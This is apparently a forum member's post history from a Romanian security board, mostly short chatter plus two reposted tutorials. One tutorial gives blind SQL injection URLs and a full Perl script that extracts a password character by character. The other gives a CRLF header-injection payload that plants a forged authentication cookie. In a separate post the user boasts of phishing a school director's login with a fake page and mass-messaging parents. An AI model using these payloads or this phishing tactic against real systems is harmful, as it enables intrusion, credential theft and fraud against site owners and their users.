Jump to content

SilentPH

Active Members
  • Posts

    352
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by SilentPH

  1. Using Binary Search with SQL Injection With SQL Injection one may perform many cool attacks on a web site. This text will not tell you how, as it assumes you're already familiar with advanced SQL Injection. Getting access to information using SQL Injection is sometimes trivial, and sometimes hard. How hard it is depends on many factors, such as: Is it possible to use UNION SELECT? Is it possible to batch requests in order to INSERT or UPDATE something based on subselects? The following presents a method to get access to values of textual database fields when neither batched queries nor UNION SELECT will help. There are a few requirements, though. And often those requirements are not met, so you may view this text as purely theoretical if you wish. Let's say I know * that the database in question has a table called "Usr". The table has a "UserName" column containing user names, and a "Password" column containing (clear-text, shame on them) passwords. The "UserName" column contains unique values. * that there's a user named "john". * that SQL Injection is possible on some page, and that I may add a boolean clause and use the page contents as an indicator of whether the clause was TRUE or FALSE. The following URL would display some page contents, for instance a news article with ID 123: Code: http://somesite.example/foo.php?id=123+AND+1=1 while the following would display some other contents, for instance _not_ the article with ID 123: Code: http://somesite.example/foo.php?id=123+AND+1=0 Given the above, it will be possible to find John's password using a series of requests. Have a look at the following boolean part: Code: AND (SELECT COUNT( *) FROM Usr WHERE UserName = 'john' AND Password >= 'f') = 1 The expression contains a subselect that counts the number of johns having a password textually greater than or equal to 'f'. It also contains a check to see if the count is exactly one (it will be zero or one, as the "UserName" column is unique). Now, if we add this boolean expression to the URL, and the resulting page contains what it contains only if the expression is true, we known that John's password is textually greater than or equal to 'f'. We may, of course, do similar tests for less than and equality, making it possible to do a binary search in which we search for longer and longer text strings until a complete match is found. Below is a sample Perl program (written in a hurry without thinking, not tested much, may contain bugs) to do such a search. The program finds the password 'TopSecret' using only 106 requests. (Even though I used user names and passwords in the example, the approach would work for other kinds of data as well, as long as it is possible to lock in on a single row in the target table.) Code: #!/usr/bin/perl -w use LWP::Simple; $baseurl = "http://somesite.example/foo.php?id=123"; $sqlinject = "+AND+(SELECT+COUNT( *)+FROM+Usr" . "+WHERE+UserName='john'+AND+%s)=1"; $url = $baseurl . $sqlinject; $field = "Password"; $mustcontain = "some text that is only visible when boolean is TRUE"; $numrequests = 0; sub sqlstr { # this sub depends on the target database my($s) = @_; $s =~ s/\'/\'\'/g; $s =~ s/\\/\\\\/g; return "'" . $s . "'"; } sub urlenc { my($s) = @_; $s =~ s/([\000-\037\177-\377<>\"\#%{}|\\^~\[\]\`;\/?:@=&+])/ sprintf("%%%02X", ord($1))/ge; $s =~ s/ /+/g; return $s; } sub wget { my($url) = @_; $html = LWP::Simple::get($u); if (!defined($html)) { print "unable to connect\n"; exit 1; } ++$numrequests; return $html; } $stem = ""; for (;Wink { $min = 1; $max = 254; for (;Wink { $c = $min + int(($max - $min) / 2); $c2 = $c + 1; $value = $stem . chr($c); $value2 = $stem . chr($c2); $u = sprintf($url, &urlenc(" " . $field . "<" . &sqlstr($value))); $html = &wget($u); if (index ($html, $mustcontain) >= 0) { $max = $c - 1; } else { $u = sprintf($url, &urlenc(" " . $field . ">=" . &sqlstr($value2))); $html = &wget($u); if (index ($html, $mustcontain) >= 0) { $min = $c + 1; } else { $stem .= chr($c); last; } } if ($max < $min) { print "huh?\n"; exit 1; } } $u = sprintf($url, &urlenc(" " . $field . "=" . &sqlstr($stem))); $html = &wget($u); if (index ($html, $mustcontain) >= 0) { print $field . " is \"" . $stem . "\" (" . $numrequests . " requests)\n"; last; } } Tutorial made by Sverre H. Huseby
  2. Ce este CRLF injection? Termenul crlf vine de la carriage return ( bagaj intoarcere) . acasetea sunt caractere acsii care nu se vad pe ecran sunt folosite in mod viclean de windos penmtru a indica sfarsitul unei linii. In linux, sfarsitul liniilor este indicat doar de folosirea line feed. Combinarea lui cr cu lr este folosita de exemplu atunci cand apasam enter pe tastatura. In functie de aplicatia folosita, in mod general instruim aplicatia sa inceapa o noua linie sau sa trimita o comanda. Un atac crlf apare atunci cand un hacker injecteaza comanda crlf in system. Acest tip de atac nu este o gaura a tehnologiei in sistemul de opearare sau in softul serverului, dar depinde in mare masura de felul in care este dezvoltat siteul. Unii constructori, sunt inconstienti de tipurile de atac de acest fel si lasa porti deschise atunci cand construiesc aplicatii web, permitandu-le hackerilor sa infiltreze comenzi crlf. Ce poate face un atacator daca siteul este vulnerabil. Chiar dak atacatorul gaseste un site deschis infiltratiilor crlf, el este limitat de structura aplicatiei si cat de severa e fisura in system. La unele tipuri de siteuri, aceasta fisura poate fi letala ptr. securitatea aplicatiei.in alte cazuri, acesta poate fi un mic bug, cu prioritati minime.totul depinde de felul in care fisura permite userului sa manipuleze aplicatia web. Exemplu 1 de CRLF Injection atac. Orice tip de patrundere a userului poate fi o problema de securitate dak nu valida Here is a sample basic log file: Date UserName Message 25/07/2005-14:23:47 GoodSurfer I perfectly agree![/list:u] This log file is perfectly normal, however if a user had to input something like: I also agree with you..n25/07/2005-15:00:00 AnotherSurfer What are you talking about!? The log file would then look like this: Date UserName Message 25/07/2005-14:23:47 GoodSurfer I perfectly agree! 25/07/2005-14:42:19 BadSurfer I also agree with you.. 25/07/2005-15:00:00 AnotherSurfer What are you talking about!?[/list:u] In acest caz, din moment ce scurgerea nu este chiar filtrate de la cr si lf , userul a creat o intrare falsa in fisierul de logare. Exemplu 2 de CRLF Injection atac Multe protocoale de retea ( http) folosesc mult combinatii de comenzi carriage return si line feed din moment ce fiecare linie folosita in acest protocol este separata de crlf. dak un user este capabil sa defineasca un salt http nefiltrat, it poses a risk, din moment ce userul poate fi din acel moment capabil sa comunice direct cu serverul, facand legatura cu stratul aplicatiei. . De exemplu, headerul unui e-mail, news, si http se bazeaza pe structura “ cheie: valoare”,Si fiecare linie este definite printr-o combinatie crlf la final.Locatia: headerul este folosit in http ptr a face redirectarea catre un alt url si un “set-cookie”:headerul este folosit ptr cookie.Daca aceste intrari nu sunt validate , caracterele cr si lf pot fi introduce in user imput (intrarea userului) , si astfel scripurile web pot fi prostite sa faca alte lucruri decat cele pentru care au fost create. Daca intrarea nu este scanata de cr si lf si scripul contruieste o redirectare cu stringul: .If the input is not checked for CR and LF and the script constructs a redirect with the string: Location: $url%0d%0a Noi putem redirecta spre un site in timp ce setam un cookie , setand $url (ca un singur string) catre: http://www.i-was-redirected.com/%0d%0aSet-Cookie: Authenticated=yes%0d%0aReferer: www.somesite.com Daca un atacator poate salva url-ul spre care este redirectat un alt user, inclusive cookie-urile,cu date importante, acest lucru poate deveni serios. Cum scanam dupa CRLF Injection Cel mai bun mod de a scana siteul de vurnelabilitati este sa folosesti un web vulnerability scanner.Acesta verifica vulnerabilitati CRLF si va vor da totul ptr. a le putea fixa. Prevenirea atacurilor CRLF. Cel mai bun mod de a te apara impotriva crlf-ului este sa filtrezi in mod extins orice intrare pe care oi poate face un user.Unul sa “stearga totul mai putin informatiile bune” si sa filtreze meta caracterele primate prin intrarile userului.Aceasta va asigura ca doar ceea ce e util va intra pe campul site-ului si si va fi trimis catre server. Nu am tradus acolo unde pricepea toata lumea... imi pare rau daca nu e pe intelesul tuturor. Tutorialul nu este facut de mine . Eu doar il aveam prin pc .
  3. http://imageshack.us/m/534/1434/silentphh.png
  4. Cu ce il deschid ?
  5. Ce aiurea ... Articolul asta e facut la misto ... Nu mai au nici astia ce scrie ...
  6. Foarte tare ... Ce metoda s`a folsit ? stie cineva ? Si poate aflam si cine e autoru` :> ... Oricum bravo lui !
  7. De unde apar frate oamenii astia ... Ce o fi vrut omu` se demonstrez prin asta ? (inafara de faptul ca redus mintal ) ...
  8. Multe din aceste site`uri nu mai merg ... Poate mai vine cineva cu vre`o lista .
  9. Metoda astha mi se pare mai safe decat tor`u ... Tor`u e destul de complicat
  10. Nici nu mai ai de unde sa il downloadezi ...
  11. E prea incet ...
  12. Chris Brown - Look At Me Now ft. Lil Wayne, Busta Rhymes
  13. Am si eu o intrebare . Daca nu e username , user , password , pass ... Ce sa incerc ? // Mersi zero
  14. Oamenii se bucura ca se uita la filme in paint
  15. Download Decrypter ... poate te ajuta
  16. Inca merge scamu` , doar ca iti trebuie vrajeala si oameni creduli .
  17. La multi ani !
  18. SilentPH

    Cati ani ai?

    17 in iunie
  19. ... Nu am spus ca au venit toti parintii ... am spus ca am trimis tuturor parintiilor .... M`am gandit apoi ca s`ar putea sa dau de belea ... dar timp a rezolvat`o in favoarea mea
  20. Am m`ai spus o`data .... Nu , nu ma deranjeaza daca nu sunt crezut .
  21. Da . Sunt foarte constient . De ce nu as fi ?
  22. Directorul e un profesor de modul (un fel de maistru`) . Omu e pe old style . Nu am screenuri pt ca in perioada respectiva nu am avut calculator . Scamu` l`am facut de la un prieten . Nu ma deranjeaza daca nu sunt crezut . Eu doar v`am povestit o farsa facut de mine .
  23. Liceul meu a facut un catalog online pentru a trece note , absente si pentru a trimite mesaje parintiilor cand e vorba despre o sedinta sau desprea anumite probleme cu elevul . La acest site au` acces parintii elevilor din institutie dar si profesorii care beneficiaza de mai multe comenzi ..... Deci farsa mea a fost urmatoarea . Am facut un scam la acel site . Si la ora directorului ( cand omu nu era in atelier , am avut acces la calculatorul lui ) am lasat pagina cu scamul meu pe desktop , in locul site`ului original , el s`a logat , dorind sa actualizeze , si am aflat parola . Acum incepe frumosul . Am trimis tuturor parintiilor elevilor din scoala (cu exceptia printiilor mei ) un mesaj cu o sedinta intr`o data anume . Si sa vezi distractie cand s`a umplut curtea scolii cu parintii care vroiau sa intre la sedinta . Directorul nu stia ce se intampla cu atata lume . Doamne cat am putut sa ma amuz in ziua aia
  24. Programare , inteligenta , gratuit , informare , securitate .
  25. Prefer sa il vad peste o sapt sau doua , cand apare cu o claritate mai buna .
×
×
  • Create New...